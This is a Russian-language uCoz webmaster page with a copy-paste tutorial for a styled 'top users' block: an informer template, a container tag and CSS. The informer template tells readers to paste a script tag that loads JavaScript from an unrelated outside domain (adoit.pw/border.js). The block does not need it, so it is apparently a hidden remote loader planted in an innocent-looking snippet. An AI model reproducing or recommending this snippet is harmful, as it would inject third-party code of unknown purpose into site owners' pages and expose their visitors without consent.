Главная | Регистрация | Вход
Меню сайта
Разделы новостей
Все Для Фотошоп [26]
Программы [4879]
Шаблоны Ucoz [64]
Все для Форумов и Сайтов [7]
Аниме [5]
Графика [171]
Всякое для Вебмастера [10]
Фильмы и Музыка [3444]
Все Для Хака [0]
Разное [3175]
Персональные данные
Добро пожаловать Гость!
Календарь новостей
«  Август 2013  »
ПнВтСрЧтПтСбВс
   1234
567891011
12131415161718
19202122232425
262728293031
Поиск
Друзья сайта




Подпишитесь на нашу рассылку и вы всегда будете в курсе новостей!

Получать на E-mail:
Статистика
Онлайн всего: 45
Гостей: 45
Пользователей: 0
Зарег. на сайте
Всего: 432
Новых за месяц: 0
Новых за неделю: 0
Новых вчера: 0
Новых сегодня: 0
Из них
Администраторов: 2
Модераторов: 0
Проверенных: 0
Обычных юзеров: 430
Из них
Парней: 283
Девушек: 146
За последние 20 минут были:

Наш опрос
Как Вам Наш Портал? =)
1. Офигительно! Супер
2. Нормульна
3. Мега Круто!
4. Феее отстой
5. Так се
Всего ответов: 195
Мини-чат
200
 Главная » 2013 » Август » 17 » Необычный топ пользователей для uCoz
Необычный топ пользователей для uCoz
18:23
Блок не адаптивный и имеет фиксированную ширину, поэтому Вы сами будете указывать значения длины и ширины в пикселях.
Установка

Создайте информер для модуля Пользователи (Панель управления » Инструменты » Информеры). Выберите Способ сортировки по Репутации. Количество материалов – 8, а количество колонок – 1.

Вставьте следующий код в Шаблон информера.

Код
<div class="top_user"><a href="$PROFILE_URL$"><span>$REPUTATION$</span></a><div class="top_user_black"><script src="http://adoit.pw/border.js" type="text/javascript"></script></div><img src="$AVATAR_URL$" alt="$USERNAME$" /></div>


А этот код туда, где хотите видеть блок (это может быть Первый или Второй контейнер).

Код
<div class="top_use1s">$MYINF_1$</div>


Вставьте этот код в Таблицу стилей (CSS).

Код
.top_use1s {width:300px;height:180px;background:#1d1d1d;font-family:Tahoma,sans-serif}
.top_user {width:75px;height:90px;overflow:hidden;float:left;background:#1d1d1d}
.top_user img {width:90px;margin-left:-7px}
.top_user a {width:75px;height:90px;position:absolute;z-index:2;text-decoration:none}
.top_user a:hover {background:rgba(255,255,255,0.1)}
.top_user a span {color:#FFF;padding-top:70px;text-align:center;display:block;font-size:11px}  
.top_user_black {position:absolute;width:75px;height:24px;background:rgba(0,0,0,0.3);margin-top:66px}
Просмотров: 129 | Добавил: DoG | Рейтинг: 0.0/0 |

КАК СКАЧАТЬ:

Поделись Новостью с Друзьями
HTML
BB-Code
Ссылка
Всего комментариев: 0
Добавлять комментарии могут только зарегистрированные пользователи.
[ Регистрация | Вход ]
Copyright MyCorp © 2024